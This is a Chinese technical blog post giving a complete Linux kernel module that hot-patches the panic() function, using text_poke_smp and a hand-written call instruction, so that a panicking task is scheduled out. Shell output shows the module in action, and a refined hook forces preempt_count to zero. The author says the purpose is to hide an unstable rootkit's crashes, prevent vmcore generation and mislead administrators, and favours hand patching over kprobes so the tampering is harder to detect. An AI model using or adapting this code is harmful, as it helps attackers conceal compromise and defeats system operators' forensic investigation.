手工拯救Linux kernel panic!

有的时候,kernel panic并不一定非要真的panic,比如说你自己模块里发生了内存违规访问,在你确定发生panic的地方并不会影响整个内核,其危害半径足以收敛的前提下,panic可以有不同的行为:

  • 直接将当前task给schedule出去。

虽然在中断上下文这样做可能会危害无辜的进程,使其再也调度不回来了,但也总比整体重启要好。

下面的代码展示了如何做:

// panic_resched.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/preempt_mask.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr_user = NULL;

void stub_panic(const char *fmt, ...)
{
    
    
	if (0 /* 破坏了内核共享数据 */)
		return;
	if (0 && preempt_count()) // 为了测试sysrq-Crash,不得不先禁用这个。
		return;
	// 只要允许,就不要真的panic,而是直接schedule出去。
	__set_current_state(TASK_UNINTERRUPTIBLE);
	local_irq_enable();
	schedule();
	// 由于current不再RUNNING,不会再被调度,永远不会到这里。
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);

unsigned char jmp_call[POKE_LENGTH];
unsigned char orig_call[POKE_LENGTH];

static int __init panic_resched_init(void)
{
    
    
	s32 offset;

	addr_user = (void *)kallsyms_lookup_name("panic");
	if (!addr_user) {
    
    
		return -1;
	}

	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	if (!_text_poke_smp) {
    
    
		return -1;
	}

	stub = (void *)stub_panic;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	memcpy(orig_call, &addr_user[POKE_OFFSET], POKE_LENGTH);
	get_online_cpus();
	_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
	put_online_cpus();

	return 0;
}

static void __exit panic_resched_exit(void)
{
    
    

	get_online_cpus();
	_text_poke_smp(&addr_user[POKE_OFFSET], orig_call, POKE_LENGTH);
	put_online_cpus();
}

module_init(panic_resched_init);
module_exit(panic_resched_exit);
MODULE_LICENSE("GPL");

来来来,看效果:

[root@localhost test]# insmod ./panic_resched.ko
[root@localhost test]# echo c >/proc/sysrq-trigger &
[1] 1617
[root@localhost test]# ps -elf|grep 1617
1 D root      1617  1598  0  80   0 - 28894 stub_p 19:11 pts/1    00:00:00 -bash # D住了而已
...

显然,这种panic并没有真的宕机,只是schedule了出去。

注意代码里的注释:

if (0 && preempt_count()) // 为了测试sysrq-Crash,不得不先禁用这个。

由于用sysrq触发crash等action的时候,会持有一把spinlock,而spinlock会禁用抢占,所以sysrq触发crash的时候,其preempt_count()为非0。

我们可以用下面的代码绕过它:

while (preempt_count())
	preempt_enable_no_resched();

OK,完整的hook为:

void stub_panic(const char *fmt, ...)
{
    
    
	if (0 /* 破坏了内核共享数据 */)
		return;
	while (preempt_count())
		preempt_enable_no_resched();
	// 只要允许,就不要真的panic,而是直接schedule出去。
	__set_current_state(TASK_UNINTERRUPTIBLE);
	local_irq_enable();
	schedule();
	// 由于current不再RUNNING,不会再被调度,永远不会到这里。
}

然而,事情还是不完美,如果current在panic的时候持有spinlock,那么当再有逻辑去fetch同一把spinlock的时候,就会死锁,因为当前panic的上下文再也回不来了,这可怎么办?

关于如何解锁的逻辑,我后面再单独说,现在的问题是, 根本没有必要搞这么完美。

  • hook panic并非一个功能性需求,它只是一个尽力而为的逻辑。
  • hook panic更多的是为了干坏事,迷惑运维和经理的手下,把他们排查问题的思路带偏,从而隐藏自己真正的rootkit。

事实上,基于上述的目的,有时候死锁反而是好事。

如果由于自己的rootkit不稳定而panic了,那么本文的hook将会隐藏这次panic的事实并且阻止vmcore的生成,硬生生的把运维和经理的手下们的思路带歪到 “咦?怎么死锁了?” 这种节奏里。

哈哈,就这么回事。

哎哎,咋了,这次咋不用stap了呢?或者至少用kprobe也行啊,放着现成的东西不用,为啥非要手工玩二进制hook呢?

能手工做的就不用工具,因为工具不可控。我们知道,stap以及其底层kprobe用的是ftrace框架,而从hook点到真正调用到ftrace的回调函数,中间的路径极其的不短,其中你不能保证是不是有spinlock,信号量等,或者一些oneshot变量。

要知道,我们的hook函数永远不会再返回了,如果在ftrace前面save的上下文无法在hook返回后被restore,系统将是失控的状态。此外,那么大一脬ftrace的代码在那里,渣渣都能看出函数被动了手脚。

还是那句话,手艺人的玩法,那就是尽量干纯手工活儿,独立且可靠。


浙江温州皮鞋湿,下雨进水不会胖。

猜你喜欢

转载自blog.csdn.net/dog250/article/details/108349046